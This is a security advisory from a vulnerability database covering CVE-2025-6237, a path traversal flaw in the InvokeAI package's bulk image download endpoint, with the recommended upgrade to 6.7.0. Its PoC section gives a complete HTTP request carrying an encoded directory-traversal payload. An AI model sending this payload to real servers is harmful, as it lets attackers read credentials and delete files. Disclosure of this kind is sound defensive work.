External Control of File Name or Path Affecting invokeai package, versions [,6.7.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.1% (29th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-INVOKEAI-12946158
  • published19 Sept 2025
  • disclosed18 Sept 2025
  • creditDuc Anh Nguyen

Introduced: 18 Sep 2025

CVE-2025-6237  (opens in a new tab)
CWE-73  (opens in a new tab)

How to fix?

Upgrade InvokeAI to version 6.7.0 or higher.

Overview

InvokeAI is an An implementation of Stable Diffusion which provides various new features and options to aid the image generation process

Affected versions of this package are vulnerable to External Control of File Name or Path via the GET /api/v1/images/download/{bulk_download_item_name} endpoint. An attacker can read and delete arbitrary files on the server, including sensitive files such as SSH keys, databases, and configuration files, by manipulating the filename arguments.

PoC

GET /api/v1/images/download/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cBugs%5ctest.txt HTTP/1.1
Host: invoke.ai:9090
Referer: http://invoke.ai:9090/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: keep-alive

CVSS Base Scores

version 4.0
version 3.1